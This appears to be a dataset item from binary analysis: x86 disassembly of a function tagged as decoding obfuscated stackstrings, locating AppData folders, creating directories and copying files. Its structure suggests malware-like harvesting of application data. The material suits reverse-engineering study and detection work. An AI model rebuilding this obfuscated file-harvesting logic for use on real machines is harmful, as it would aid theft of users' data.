Function at 0x411860
Capabilities:
Contain obfuscated stackstrings
Copy file
Create directory
Get common file path

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x504403
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xe30
push ebx
push esi
push edi
mov edi, ecx
push 0x104
lea eax, [ebp - 0xd30]
mov dword [ebp - 4], 0
push 0
push eax
call fcn.004df440
mov esi, dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea eax, [ebp - 0xd30]
add esp, 0xc
push eax
push 0
push 0
push 0x1a
push 0
call esi
push 0x104
lea eax, [ebp - 0xe38]
push 0
push eax
call fcn.004df440
add esp, 0xc
lea eax, [ebp - 0xe38]
push eax
push 0
push 0
push 0x1c
push 0
call esi
movaps xmm0, xmmword [0x527720]
lea ecx, [ebp - 0x2e3]
movups xmmword [ebp - 0x2e3], xmm0
mov dword [ebp - 0x2d3], 0xabaab8a6
mov word [ebp - 0x2cf], 0xa8
mov byte [ebp - 0x2cd], 1
call fcn.00463370
push dword [ebp - 0x14]
lea ecx, [ebp - 0x8b0]
call fcn.00402880
lea ecx, [ebp - 0x2e3]
mov byte [ebp - 4], 1
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411930
sub ecx, edx
lea eax, [ebp - 0x2e3]
push ecx
push eax
lea ecx, [ebp - 0x8b0]
call fcn.004028a0
lea eax, [ebp - 0x8b0]
mov byte [ebp - 4], 2
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x898]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x8b0]
mov byte [ebp - 4], 4
call fcn.004026c0
lea ecx, [ebp - 0x898]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test al, al
je 0x411a89
lea ecx, [ebp - 0xe7]
mov dword [ebp - 0xe7], 0xd3cffbe5
mov dword [ebp - 0xe3], 0xdcd7d0
mov byte [ebp - 0xdf], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5f0]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 5
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x411a00
push 0
lea ecx, [ebp - 0x5f0]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x411a7a
sub esp, 0x18
lea eax, [ebp - 0x5f0]
mov ecx, esp
mov dword [ebp - 0x14], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 6
lea eax, [ebp - 0x898]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 5
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x411a42
mov byte [edi], 1
jmp 0x411a7a
lea ecx, [ebp - 0x5f0]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa78]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xa78]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa78]
call fcn.004026c0
lea ecx, [ebp - 0x5f0]
mov byte [ebp - 4], 4
call fcn.004026c0
movaps xmm0, xmmword [0x527750]
lea ecx, [ebp - 0x387]
movups xmmword [ebp - 0x387], xmm0
mov word [ebp - 0x377], 0xba
mov byte [ebp - 0x375], 1
call fcn.00463340
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8c8]
call fcn.00402880
lea ecx, [ebp - 0x387]
mov byte [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411ad0
sub ecx, edx
lea eax, [ebp - 0x387]
push ecx
push eax
lea ecx, [ebp - 0x8c8]
call fcn.004028a0
lea eax, [ebp - 0x8c8]
mov byte [ebp - 4], 9
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x880]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 4], 0xb
call fcn.004026c0
lea ecx, [ebp - 0x880]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x411c2c
lea ecx, [ebp - 0x141]
mov dword [ebp - 0x141], 0xd9d7ffe5
mov dword [ebp - 0x13d], 0xb5cdcade
mov word [ebp - 0x139], 0xac
mov byte [ebp - 0x137], 1
call fcn.0040a5a0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x5d8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0xc
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x411ba3
push 0
lea ecx, [ebp - 0x5d8]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x411c1d
sub esp, 0x18
lea eax, [ebp - 0x5d8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0xd
lea eax, [ebp - 0x880]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0xc
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x411be5
mov byte [edi], 1
jmp 0x411c1d
lea ecx, [ebp - 0x5d8]
call fcn.00402800
push eax
lea ecx, [ebp - 0xa90]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0xa90]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xa90]
call fcn.004026c0
lea ecx, [ebp - 0x5d8]
mov byte [ebp - 4], 0xb
call fcn.004026c0
movaps xmm0, xmmword [0x5279a0]
lea ecx, [ebp - 0x311]
movups xmmword [ebp - 0x311], xmm0
mov dword [ebp - 0x301], 0xa9a7a6a8
mov word [ebp - 0x2fd], 0xb9
mov byte [ebp - 0x2fb], 1
call fcn.00463370
push dword [ebp - 0x10]
lea ecx, [ebp - 0x8e0]
call fcn.00402880
lea ecx, [ebp - 0x311]
mov byte [ebp - 4], 0xf
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411c80
sub ecx, edx
lea eax, [ebp - 0x311]
push ecx
push eax
lea ecx, [ebp - 0x8e0]
call fcn.004028a0
lea eax, [ebp - 0x8e0]
mov byte [ebp - 4], 0x10
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x868]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x8e0]
mov byte [ebp - 4], 0x12
call fcn.004026c0
lea ecx, [ebp - 0x868]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x411dd3
lea ecx, [ebp - 0xde]
mov dword [ebp - 0xde], 0xd3c3ffe5
mov dword [ebp - 0xda], 0xcccbd9
mov byte [ebp - 0xd6], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x608]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x13
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x411d4a
push 0
lea ecx, [ebp - 0x608]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x411dc4
sub esp, 0x18
lea eax, [ebp - 0x608]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x14
lea eax, [ebp - 0x868]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x13
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x411d8c
mov byte [edi], 1
jmp 0x411dc4
lea ecx, [ebp - 0x608]
call fcn.00402800
push eax
lea ecx, [ebp - 0xaa8]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x15
lea ecx, [ebp - 0xaa8]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xaa8]
call fcn.004026c0
lea ecx, [ebp - 0x608]
mov byte [ebp - 4], 0x12
call fcn.004026c0
movaps xmm0, xmmword [0x526c10]
lea ecx, [ebp - 0x2fa]
movups xmmword [ebp - 0x2fa], xmm0
mov dword [ebp - 0x2ea], 0xb8aea6a5
mov word [ebp - 0x2e6], 0xbe
mov byte [ebp - 0x2e4], 1
call fcn.00463370
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6b8]
call fcn.00402880
lea ecx, [ebp - 0x2fa]
mov byte [ebp - 4], 0x16
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411e21
sub ecx, edx
lea eax, [ebp - 0x2fa]
push ecx
push eax
lea ecx, [ebp - 0x6b8]
call fcn.004028a0
lea eax, [ebp - 0x6b8]
mov byte [ebp - 4], 0x17
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x850]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x6b8]
mov byte [ebp - 4], 0x19
call fcn.004026c0
lea ecx, [ebp - 0x850]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x411f80
lea ecx, [ebp - 0x1dc]
mov dword [ebp - 0x1dc], 0xd9d7ffe5
mov dword [ebp - 0x1d8], 0xb5cdcade
mov dword [ebp - 0x1d4], 0x87978eac
mov word [ebp - 0x1d0], 0x100
call fcn.0040f380
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x500]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x1a
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x411ef7
push 0
lea ecx, [ebp - 0x500]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x411f71
sub esp, 0x18
lea eax, [ebp - 0x500]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x1b
lea eax, [ebp - 0x850]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x1a
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x411f39
mov byte [edi], 1
jmp 0x411f71
lea ecx, [ebp - 0x500]
call fcn.00402800
push eax
lea ecx, [ebp - 0xac0]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0xac0]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0xac0]
call fcn.004026c0
lea ecx, [ebp - 0x500]
mov byte [ebp - 4], 0x19
call fcn.004026c0
movaps xmm0, xmmword [0x525e30]
lea ecx, [ebp - 0x3d2]
movups xmmword [ebp - 0x3d2], xmm0
mov byte [ebp - 0x3c2], 1
call fcn.00463190
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6d0]
call fcn.00402880
lea ecx, [ebp - 0x3d2]
mov byte [ebp - 4], 0x1d
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x411fc0
sub ecx, edx
lea eax, [ebp - 0x3d2]
push ecx
push eax
lea ecx, [ebp - 0x6d0]
call fcn.004028a0
lea eax, [ebp - 0x6d0]
mov byte [ebp - 4], 0x1e
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x838]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x6d0]
mov byte [ebp - 4], 0x20
call fcn.004026c0
lea ecx, [ebp - 0x838]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x412113
lea ecx, [ebp - 0xf0]
mov dword [ebp - 0xf0], 0xd2d4f7e5
mov dword [ebp - 0xec], 0xd0ccd8
mov byte [ebp - 0xe8], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x458]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x21
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x41208a
push 0
lea ecx, [ebp - 0x458]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412104
sub esp, 0x18
lea eax, [ebp - 0x458]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x22
lea eax, [ebp - 0x838]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x21
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4120cc
mov byte [edi], 1
jmp 0x412104
lea ecx, [ebp - 0x458]
call fcn.00402800
push eax
lea ecx, [ebp - 0x8f8]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x8f8]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x8f8]
call fcn.004026c0
lea ecx, [ebp - 0x458]
mov byte [ebp - 4], 0x20
call fcn.004026c0
movaps xmm0, xmmword [0x527110]
lea ecx, [ebp - 0x39a]
movups xmmword [ebp - 0x39a], xmm0
mov word [ebp - 0x38a], 0xb1
mov byte [ebp - 0x388], 1
call fcn.00463340
push dword [ebp - 0x10]
lea ecx, [ebp - 0x6e8]
call fcn.00402880
lea ecx, [ebp - 0x39a]
mov byte [ebp - 4], 0x24
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412157
sub ecx, edx
lea eax, [ebp - 0x39a]
push ecx
push eax
lea ecx, [ebp - 0x6e8]
call fcn.004028a0
lea eax, [ebp - 0x6e8]
mov byte [ebp - 4], 0x25
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x35c]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x6e8]
mov byte [ebp - 4], 0x27
call fcn.004026c0
lea ecx, [ebp - 0x35c]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x41270e
lea ecx, [ebp - 0x1f9]
mov dword [ebp - 0x1f9], 0xc4daf0e5
mov dword [ebp - 0x1f5], 0xa9f39ec5
mov dword [ebp - 0x1f1], 0xb0b1a7a3
mov word [ebp - 0x1ed], 0xbc
mov byte [ebp - 0x1eb], 1
call fcn.0040a710
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x3ec]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0x28
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412238
push 0
lea ecx, [ebp - 0x3ec]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4126ff
lea ecx, [ebp - 0x16e]
mov dword [ebp - 0x16e], 0xd8d5f3e5
mov dword [ebp - 0x16a], 0xa4dac6d8
mov dword [ebp - 0x166], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xbe0]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x29
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xbe0]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004026c0
test bl, bl
je 0x4123ce
lea ecx, [ebp - 0x17a]
mov dword [ebp - 0x17a], 0xd8d5f3e5
mov dword [ebp - 0x176], 0xa4dac6d8
mov dword [ebp - 0x172], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x470]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x2a
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412311
push 0
lea ecx, [ebp - 0x470]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4123bf
sub esp, 0x18
lea eax, [ebp - 0x470]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x2b
lea ecx, [ebp - 0x186]
mov dword [ebp - 0x186], 0xd8d5f3e5
mov dword [ebp - 0x182], 0xa4dac6d8
mov esi, esp
mov dword [ebp - 0x17e], 0x1008085
call fcn.0040f350
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x2a
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412381
mov byte [edi], 1
jmp 0x4123b9
lea ecx, [ebp - 0x470]
call fcn.00402800
push eax
lea ecx, [ebp - 0x910]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x2c
lea ecx, [ebp - 0x910]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x910]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x470]
mov byte [ebp - 4], 0x28
call fcn.004026c0
lea ecx, [ebp - 0x218]
mov dword [ebp - 0x218], 0xdfd4f6e5
mov dword [ebp - 0x214], 0x939fd2dc
mov dword [ebp - 0x210], 0xa5b1adb5
mov dword [ebp - 0x20c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xbf8]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x2d
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xbf8]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004026c0
test bl, bl
je 0x412582
lea ecx, [ebp - 0x228]
mov dword [ebp - 0x228], 0xdfd4f6e5
mov dword [ebp - 0x224], 0x939fd2dc
mov dword [ebp - 0x220], 0xa5b1adb5
mov dword [ebp - 0x21c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x488]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x2e
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x4124bb
push 0
lea ecx, [ebp - 0x488]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412573
sub esp, 0x18
lea eax, [ebp - 0x488]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x238]
sub esp, 0x18
mov dword [ebp - 0x238], 0xdfd4f6e5
mov dword [ebp - 0x234], 0x939fd2dc
mov esi, esp
mov dword [ebp - 0x230], 0xa5b1adb5
mov dword [ebp - 0x22c], 0x100a3a2
call fcn.0040f4a0
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x2e
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412535
mov byte [edi], 1
jmp 0x41256d
lea ecx, [ebp - 0x488]
call fcn.00402800
push eax
lea ecx, [ebp - 0x928]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x928]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x928]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x488]
mov byte [ebp - 4], 0x28
call fcn.004026c0
movaps xmm0, xmmword [0x526e90]
lea ecx, [ebp - 0x67a]
movups xmmword [ebp - 0x67a], xmm0
mov word [ebp - 0x66a], 0x100
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x35c]
lea ecx, [ebp - 0xc10]
call fcn.00469da0
add esp, 4
mov ecx, eax
mov byte [ebp - 4], 0x31
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
lea ecx, [ebp - 0xc10]
mov byte [ebp - 4], 0x28
mov bl, al
call fcn.004026c0
test bl, bl
je 0x4126ff
movaps xmm0, xmmword [0x526e90]
lea ecx, [ebp - 0x68c]
movups xmmword [ebp - 0x68c], xmm0
mov word [ebp - 0x67c], 0x100
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x3ec]
lea ecx, [ebp - 0x4a0]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4a0]
mov byte [ebp - 4], 0x32
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x41264d
push 0
lea ecx, [ebp - 0x4a0]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4126f4
sub esp, 0x18
lea eax, [ebp - 0x4a0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0x668]
movaps xmm0, xmmword [0x526e90]
sub esp, 0x18
movups xmmword [ebp - 0x668], xmm0
mov word [ebp - 0x658], 0x100
mov esi, esp
call fcn.0040f2c0
push eax
lea edx, [ebp - 0x35c]
mov ecx, esi
call fcn.00469da0
add esp, 4
mov byte [ebp - 4], 0x32
mov cl, bl
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x4126b6
mov byte [edi], 1
jmp 0x4126ee
lea ecx, [ebp - 0x4a0]
call fcn.00402800
push eax
lea ecx, [ebp - 0x940]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x34
lea ecx, [ebp - 0x940]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x940]
call fcn.004026c0
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea ecx, [ebp - 0x4a0]
call fcn.004026c0
lea ecx, [ebp - 0x3ec]
mov byte [ebp - 4], 0x27
call fcn.004026c0
movaps xmm0, xmmword [0x5275a0]
lea ecx, [ebp - 0x3c1]
movups xmmword [ebp - 0x3c1], xmm0
mov dword [ebp - 0x3b1], 0xaeada8
mov byte [ebp - 0x3ad], 1
call fcn.0040f4d0
push eax
lea ecx, [ebp - 0xc28]
call fcn.00402760
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x820]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xc28]
mov byte [ebp - 4], 0x37
call fcn.004026c0
lea ecx, [ebp - 0x820]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x412868
lea ecx, [ebp - 0x6d]
mov dword [ebp - 0x6d], 0xc4daf0e5
mov word [ebp - 0x69], 0xc5
mov byte [ebp - 0x67], 1
call fcn.004094f0
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4b8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x38
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x4127df
push 0
lea ecx, [ebp - 0x4b8]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412859
sub esp, 0x18
lea eax, [ebp - 0x4b8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x39
lea eax, [ebp - 0x820]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x38
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412821
mov byte [edi], 1
jmp 0x412859
lea ecx, [ebp - 0x4b8]
call fcn.00402800
push eax
lea ecx, [ebp - 0x958]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x958]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x958]
call fcn.004026c0
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 4], 0x37
call fcn.004026c0
movaps xmm0, xmmword [0x5266b0]
lea ecx, [ebp - 0x32b]
movups xmmword [ebp - 0x32b], xmm0
mov dword [ebp - 0x31b], 0xa0aabd95
mov dword [ebp - 0x317], 0xa3bbaba1
mov word [ebp - 0x313], 0x100
call fcn.0040a5d0
push eax
lea ecx, [ebp - 0xad8]
call fcn.00402760
push eax
lea edx, [ebp - 0xe38]
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x808]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xad8]
mov byte [ebp - 4], 0x3d
call fcn.004026c0
lea ecx, [ebp - 0x808]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x4129dd
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x12c], 0xd5d4f9e5
mov dword [ebp - 0x128], 0xa9d2d1d3
mov word [ebp - 0x124], 0x100
call fcn.0040f320
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4d0]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3e
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412954
push 0
lea ecx, [ebp - 0x4d0]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x4129ce
sub esp, 0x18
lea eax, [ebp - 0x4d0]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x808]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x3e
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412996
mov byte [edi], 1
jmp 0x4129ce
lea ecx, [ebp - 0x4d0]
call fcn.00402800
push eax
lea ecx, [ebp - 0x970]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x40
lea ecx, [ebp - 0x970]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x970]
call fcn.004026c0
lea ecx, [ebp - 0x4d0]
mov byte [ebp - 4], 0x3d
call fcn.004026c0
lea ecx, [ebp - 0x96]
mov dword [ebp - 0x96], 0xd1c9fbe5
mov dword [ebp - 0x92], 0xc6ccd2
mov byte [ebp - 0x8e], 1
call fcn.0040b910
push eax
lea ecx, [ebp - 0xaf0]
call fcn.00402760
push eax
lea edx, [ebp - 0xd30]
mov byte [ebp - 4], 0x41
lea ecx, [ebp - 0x7f0]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0xaf0]
mov byte [ebp - 4], 0x43
call fcn.004026c0
lea ecx, [ebp - 0x7f0]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x412b40
lea ecx, [ebp - 0x9f]
mov dword [ebp - 0x9f], 0xd1c9fbe5
mov dword [ebp - 0x9b], 0xc6ccd2
mov byte [ebp - 0x97], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x4e8]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x44
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412ab7
push 0
lea ecx, [ebp - 0x4e8]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412b31
sub esp, 0x18
lea eax, [ebp - 0x4e8]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x7f0]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x44
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412af9
mov byte [edi], 1
jmp 0x412b31
lea ecx, [ebp - 0x4e8]
call fcn.00402800
push eax
lea ecx, [ebp - 0x988]
call fcn.00402760
push 0
mov dl, 1
mov byte [ebp - 4], 0x46
lea ecx, [ebp - 0x988]
call fcn.0040c0b0
add esp, 4
lea ecx, [ebp - 0x988]
call fcn.004026c0
lea ecx, [ebp - 0x4e8]
mov byte [ebp - 4], 0x43
call fcn.004026c0
movaps xmm0, xmmword [0x526810]
lea ecx, [ebp - 0x296]
movups xmmword [ebp - 0x296], xmm0
mov dword [ebp - 0x286], 0xb8a5afa0
mov dword [ebp - 0x282], 0xbcae9991
mov dword [ebp - 0x27e], 0xa7a7b7bd
mov word [ebp - 0x27a], 0x100
call fcn.00462df0
push dword [ebp - 0x10]
lea ecx, [ebp - 0x700]
call fcn.00402880
lea ecx, [ebp - 0x296]
mov byte [ebp - 4], 0x47
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x412ba0
sub ecx, edx
lea eax, [ebp - 0x296]
push ecx
push eax
lea ecx, [ebp - 0x700]
call fcn.004028a0
lea eax, [ebp - 0x700]
mov byte [ebp - 4], 0x48
push eax
lea edx, [ebp - 0xd30]
lea ecx, [ebp - 0x7d8]
call fcn.00469ec0
add esp, 4
lea ecx, [ebp - 0x700]
mov byte [ebp - 4], 0x4a
call fcn.004026c0
lea ecx, [ebp - 0x7d8]
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
je 0x412cf3
lea ecx, [ebp - 0xa8]
mov dword [ebp - 0xa8], 0xcfdaede5
mov dword [ebp - 0xa4], 0xd6dcdc
mov byte [ebp - 0xa0], 1
call fcn.0040b910
push eax
lea edx, [ebp + 8]
lea ecx, [ebp - 0x620]
call fcn.00469da0
add esp, 4
lea ecx, [ebp - 0x620]
mov byte [ebp - 4], 0x4b
call fcn.00402800
mov ecx, eax
call fcn.0040bff0
test al, al
jne 0x412c6a
push 0
lea ecx, [ebp - 0x620]
call fcn.00402800
push eax
call esi
test eax, eax
je 0x412ce4
sub esp, 0x18
lea eax, [ebp - 0x620]
mov ecx, esp
mov dword [ebp - 0x10], esp
xor bl, bl
push eax
call fcn.00466110
sub esp, 0x18
mov byte [ebp - 4], 0x4c
lea eax, [ebp - 0x7d8]
mov ecx, esp
push eax
call fcn.00466110
mov cl, bl
mov byte [ebp - 4], 0x4b
call fcn.0040f520
add esp, 0x30
test eax, eax
jne 0x412cac
mov byte [edi], 1
jmp 0x412ce4
